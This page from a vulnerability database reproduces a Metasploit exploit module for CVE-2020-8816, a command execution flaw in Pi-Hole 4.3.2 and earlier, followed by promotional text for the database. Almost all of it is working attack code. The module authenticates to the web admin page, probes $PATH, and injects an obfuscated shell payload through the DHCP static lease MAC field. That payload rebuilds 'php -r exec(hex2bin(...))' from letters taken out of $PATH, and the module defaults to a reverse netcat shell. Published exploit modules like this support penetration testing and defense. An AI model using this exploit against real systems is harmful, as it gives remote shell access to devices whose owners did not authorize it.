Lucene search
K

Pi-Hole DHCP MAC OS Command Execution

🗓️ 16 May 2020 05:30:58Reported by h00die, François Renaud-Philippon <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 87 Views

Pi-Hole <= 4.3.2 Command Execution Exploi

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Pihole

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pi-Hole DHCP MAC OS Command Execution',
        'Description' => %q{
          This exploits a command execution in Pi-Hole <= 4.3.2.  A new DHCP static lease is added
          with a MAC address which includes an RCE.  Exploitation requires /opt/pihole to be first
          in the $PATH due to exploitation constraints.  DHCP server is not required to be running.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'François Renaud-Philippon <[email protected]>' # original PoC, discovery
        ],
        'References' => [
          ['URL', 'http://web.archive.org/web/20230521153651/https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/'],
          ['CVE', '2020-8816']
        ],
        'Platform' => ['unix'],
        'Privileged' => false,
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2020-03-28',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_netcat'
        },
        'Payload' => {
          'BadChars' => "\x00"
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS],
          'RelatedModules' => ['exploit/linux/local/pihole_remove_commands_lpe']
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
      ]
    )
  end

  def check
    begin
      _version, web_version, _ftl = get_versions

      if web_version.nil?
        print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")
        return Exploit::CheckCode::Unknown
      end

      if web_version && Rex::Version.new(web_version) <= Rex::Version.new('4.3.2')
        vprint_good("Web Interface Version Detected: #{web_version}")
        return CheckCode::Appears
      else
        vprint_bad("Web Interface Version Detected: #{web_version}")
        return CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      print_error("#{peer} - Could not connect to the web service")
      return Exploit::CheckCode::Unknown
    end
    CheckCode::Safe
  end

  def add_static(payload, token)
    # we don't use vars_post due to the need to have duplicate fields
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'ctype' => 'application/x-www-form-urlencoded',
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_get' => {
        'tab' => 'piholedhcp'
      },
      'data' => [
        'AddMAC=',
        'AddIP=',
        'AddHostname=',
        "AddMAC=#{URI.encode_www_form_component(payload)}",
        "AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", # to_i to remove leading 0s
        "AddHostname=#{rand_text_alphanumeric(8..12)}",
        'addstatic=',
        'field=DHCP',
        "token=#{URI.encode_www_form_component(token)}"
      ].join('&')
    )
  end

  def exploit
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    begin
      @macs = []
      # get cookie
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
        'keep_cookies' => true
      )

      # check login
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'tab' => 'piholedhcp'
        }
      )

      # check if we got hit by a login prompt
      if res && res.body.include?('Sign in to start your session')
        res = login(datastore['PASSWORD'])
        fail_with(Msf::Exploit::Failure::BadConfig, 'Incorrect Password') if res.nil?
      end

      token = get_token('piholedhcp')

      if token.nil?
        fail_with(Failure::UnexpectedReply, 'Unable to find token')
      end
      print_status("Using token: #{token}")

      # from the excellent writeup about the vuln:
      # The biggest difficulty in exploiting this vulnerability is that the user input is
      # capitalized through a call to "strtoupper". Because of this, no lower case character
      # can be used in the resulting injection.

      # we'd like to execute something similar to this:
      # aaaaaaaaaaaa&&php -r 'PAYLOAD'
      # however, we need to pull p, h, and r from the system due to all input getting capitalized
      # this is performed by pulling them from the $PATH which should be something like
      # /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
      # first payload we send is to check that this is in the path to verify exploitation is possible
      mac = rand_text_hex(12).upcase
      @macs << mac
      vprint_status("Validating path with MAC: #{mac}")
      res = add_static("#{mac}$PATH", token)

      # ruby regex w/ interpolate and named assignments needs to be in .match instead of =~
      env = res.body.match(/value="#{mac}(?<env>.*)">/)
      if env && env[:env].starts_with?('/opt/pihole')
        print_good("System env path exploitable: #{env[:env]}")
      else
        msg = '/opt/pihole not in path. Exploitation not possible.'
        if env
          msg += " Path: #{env[:env]}"
        end
        fail_with(Failure::UnexpectedReply, msg)
      end

      # once we have php -r, we then need to pass a payload.  So we do this via php command
      # exec on hex2bin since our payload in hex caps will still get processed and executed.

      mac = rand_text_hex(12).upcase
      @macs << mac
      print_status("Payload MAC will be: #{mac}")
      shellcode = "#{mac}&&" # mac address, arbitrary
      shellcode << 'W=${PATH#/???/}&&'
      shellcode << 'P=${W%%?????:*}&&'
      shellcode << 'X=${PATH#/???/??}&&'
      shellcode << 'H=${X%%???:*}&&'
      shellcode << 'Z=${PATH#*:/??}&&'
      shellcode << 'R=${Z%%/*}&&$'
      shellcode << "P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(" # php -r exec(hex2bin(
      shellcode << '"'
      shellcode << payload.encoded.unpack('H*').join('') # hex encode payload
      shellcode << '"));'
      shellcode << "'&&"

      vprint_status("Shellcode: #{shellcode}")
      print_status('Sending Exploit')
      add_static(shellcode, token)

      # we don't use vars_post due to the need to have duplicate fields
      ip = '192.168'
      2.times { ip = "#{ip}.#{rand_text_numeric(1..2).to_i}" } # to_i removes leading zeroes
      send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
        'ctype' => 'application/x-www-form-urlencoded',
        'keep_cookies' => true,
        'method' => 'POST',
        'vars_get' => {
          'tab' => 'piholedhcp'
        },
        'data' => [
          'AddMAC=',
          'AddIP=',
          'AddHostname=',
          "AddMAC=#{URI.encode_www_form_component(shellcode)}",
          "AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", # to_i to remove leading 0s
          "AddHostname=#{rand_text_alphanumeric(3..8)}",
          'addstatic=',
          'field=DHCP',
          "token=#{URI.encode_www_form_component(token)}"
        ].join('&')
      )

    # entries are written to /etc/dnsmasq.d/04-pihole-static-dhcp.conf
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  def on_new_session(session)
    super
    @macs.each do |mac|
      print_status("Attempting to clean #{mac} from config")
      session.shell_command_token("sudo pihole -a removestaticdhcp #{mac}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Feb 2025 10:30Current
7.2High risk
Vulners AI Score7.2
CVSS 37.2 - 9.1
CVSS 26.5
EPSS0.77847
87